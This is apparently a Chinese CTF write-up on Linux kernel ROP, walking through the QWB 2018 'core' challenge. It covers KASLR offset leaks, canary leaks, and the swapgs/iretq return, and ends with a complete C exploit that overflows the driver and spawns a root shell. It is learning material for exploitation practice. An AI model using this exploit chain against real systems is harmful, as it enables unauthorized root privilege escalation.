kernel rop
前言
内核 ROP 与普通的 ROP 无区别,只不过 system(/bin/sh) 变为了 commit_cred(&init_cred) 或者 commit_creds(prepare_kernel(NULL)),当在内核中执行这样的代码,当前线程的 cred 结构体便会变为 init 进程的 cred 的拷贝,也就获得了 root 权限
关于 &init_cred
是一个全局变量,类似
1 2 3 4 5 6 7 8 9 10 11 12 13
| const struct cred init_cred = { .usage = ATOMIC_INIT(4), .uid = GLOBAL_ROOT_UID, .gid = GLOBAL_ROOT_GID, .euid = GLOBAL_ROOT_UID, .egid = GLOBAL_ROOT_GID, .suid = GLOBAL_ROOT_UID, .sgid = GLOBAL_ROOT_GID, .fsuid = GLOBAL_ROOT_UID, .fsgid = GLOBAL_ROOT_GID, ... };
|
表示 root 权限
prepare_kernel(0) 会新建一个和 root 的 cred ,类似复制 init_cred
状态保存
我们在内核中完成提权后,最终仍然要回到用户态以获得一个 root 权限的 shell,所以当我们脚本进入内核态时需要手动模拟保存寄存器
通常情况下我们都是保存在自己的变量之中的,以便于构造 rop 链
这里 wiki 给出了一个模板,intel 风格,需要指定参数 -masm=intel
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void) { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );
puts("[*] Status has been saved."); }
|
返回用户态
返回用户态流程
- swapgs 恢复 GS 寄存器
- sysretq 或者 iretq 恢复到用户空间
我们只要在内核中找到相应的 gadget 并执行 swapgs;iretq 就可以返回到用户态
通常来说,rop 链应如下
1 2 3 4 5 6 7
| ↓ swapgs iretq user_shell_addr user_cs user_eflags //64bit user_rflags user_sp user_ss
|
有时候会引发栈平衡的问题,这时候可以调整 sp 寄存器的值来通过(加减8)
例题
强网杯 2018 - core
前言
题目给了 bzImage,core.cpio,start.sh,以及带符号表的 vmlinux
vmlinux 是未经压缩的 kernel ELF 文件,我们可以从中找到一些gadget,可以用 ROPgadget 或 ropper 对齐进行提取,当然直接用 ropper 分析也是可以的
1 2
| ropper --file ./vmlinux --nocolor > gadget_ropper.txt ROPgadget --binary ./vmlinux > gadget_ropgadget.txt
|
如果没有给 vmlinux,可以用 extract-vmlinux 提取
1
| ./extract-vmlinux ./bzImage > vmlinux
|
start.sh
1 2 3 4 5 6 7 8
| qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
可以看到开了 kaslr,顺便复习一下 kaslr
kaslr
内核的地址随机化保护,会给内核加载地址加上随机偏移,但偏移量同一,所有函数,全局变量,gadget都是这个偏移
所以我们需要先泄露出某个函数的真实地址,减去其未启用 kaslr 时的地址,就可以得到偏移
init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko
poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys
poweroff -d 0 -f
|
第 9 行将符号表导出到 /tmp/kallsyms,这样普通用户也可以读到
第 18 行表示 120 秒后强制关机,可以去掉,无影响
IDA
1 2 3 4 5 6
| __int64 init_module() { core_proc = proc_create("core", 438LL, 0LL, &core_fops); printk(&unk_2DE); return 0LL; }
|
core_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| unsigned __int64 __fastcall core_read(__int64 a1) { char *v2; __int64 i; unsigned __int64 result; char v5[64]; unsigned __int64 v6;
v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 += 4; } strcpy(v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(a1, &v5[off], 64LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; }
|
core_write
1 2 3 4 5 6 7 8
| __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int)a3; printk(&unk_230); return 0xFFFFFFF2LL; }
|
core_copy_func
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall core_copy_func(__int64 a1) { __int64 result; _QWORD v2[10];
v2[8] = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); return 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }
|
core_ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(&unk_2CD); off = a3; break; case 0x6677889A: printk(&unk_2B3); core_copy_func(a3); break; } return 0LL; }
|
步骤
- 首先肯定是要gadgets,这里不能用带符号表的 vmlinux,而是要用 core.cpio 解包出来的 vmlinux,在这里卡了好久/(ㄒoㄒ)/~~。
- kernel_base 也需要,可通过 checksec 得到
1 2 3 4 5 6 7 8 9 10 11
| yyyffff@yyyffff-virtual-machine:~/kernel/give_to_player/core$ checksec vmlinux [*] '/home/yyyffff/kernel/give_to_player/core/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0xffffffff81000000) Stack: Executable RWX: Has RWX segments Stripped: No
|
- 要求 kaslr 的偏移,要知道运行时真实地址和未加 kaslr 的基址,前者可以通过读取 /tmp/kallsyms 得到,后者可以通过 vmlinux 得到
1 2
| yyyffff@yyyffff-virtual-machine:~/kernel/give_to_player/core$ nm -n vmlinux | grep commit_creds ffffffff8109c8e0 T commit_creds
|
(nm 是查看符号表的工具,可列出函数、全局变量等符号及它们地址和类型 -n 表示按符号地址从小到大排序 grep 表示过滤出名字包含 commit_creds 的行)
- canary 也要泄露出,可以通过 IDA 存到了 [rbp-0x10] 的位置,可以得出偏移为 64
- commit_creds 和 prepare_kernel_cred 地址也要泄露,我们可以通过读取 /tmp/kallsyms 来获得
exp
(参考wiki的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #define kernel_base 0xffffffff81000000; #define COMMIT_CREDS 0xffffffff8109c8e0; #define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define IRETQ 0xffffffff81050ac2 size_t rop[100]; size_t user_cs,user_ss,user_rflags,user_sp; size_t commit_creds=0,prepare_kernel_cred=0; size_t kernel_offset; void save_status(void) { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("[*] Status has been saved.\n\n"); } void core_read(int fd,char *buf) { ioctl(fd,0x6677889B,buf); printf("Sucee read!\n"); } void set_off(int fd,size_t off) { ioctl(fd,0x6677889C,off); printf("Success set off!\n"); } void core_copy(int fd) { ioctl(fd,0x6677889A,0xffffffffffff0000|(0x100)); printf("Success copy!\n"); } void get_shell() { if (getuid()) { printf("Fail to get root!\n"); exit(0); } printf("Success to get root!\n"); system("/bin/sh"); exit(EXIT_SUCCESS); } int main() { char buf[0x1000],type[0x10]; int fd; size_t addr; size_t canary; save_status(); fd=open("/proc/core",O_RDWR); if (fd<0) { printf("Eorror\n"); exit(0); } printf("----leak addr----"); FILE *ksyms_file=fopen("/tmp/kallsyms","r"); if (ksyms_file==NULL) { printf("Fail to open file!\n"); exit(0); } while (fscanf(ksyms_file,"%lx%s%s",&addr,type,buf)) { if (prepare_kernel_cred&&commit_creds) break; if (!strcmp(buf,"commit_creds")) { commit_creds=addr; printf("Success get commit_creds's addr %lx !\n",commit_creds); } if (!strcmp(buf,"prepare_kernel_cred")) { prepare_kernel_cred=addr; printf("Success get prepare_kernel_cred's addr %lx !\n",prepare_kernel_cred); } } kernel_offset=commit_creds-COMMIT_CREDS; printf("---leak canary---\0"); set_off(fd,64); core_read(fd,buf); canary=((size_t*)buf)[0]; printf("Success get canary %lx !\n",canary); int i; for(i=0;i<10;i++) rop[i]=canary; rop[i++]=POP_RDI_RET+kernel_offset; rop[i++]=0; rop[i++]=prepare_kernel_cred; rop[i++]=POP_RDX_RET+kernel_offset; rop[i++]=POP_RCX_RET+kernel_offset; rop[i++]=MOV_RDI_RAX_CALL_RDX+kernel_offset; rop[i++]=commit_creds;
rop[i++]=SWAPGS_POPFQ_RET+kernel_offset; rop[i++]=0; rop[i++]=IRETQ+kernel_offset; rop[i++]=(size_t*)get_shell; rop[i++]=user_cs; rop[i++]=user_rflags; rop[i++]=user_sp; rop[i++]=user_ss; printf("Rop get ready!\n"); write(fd,rop,0x800); core_copy(fd); return 0; }
|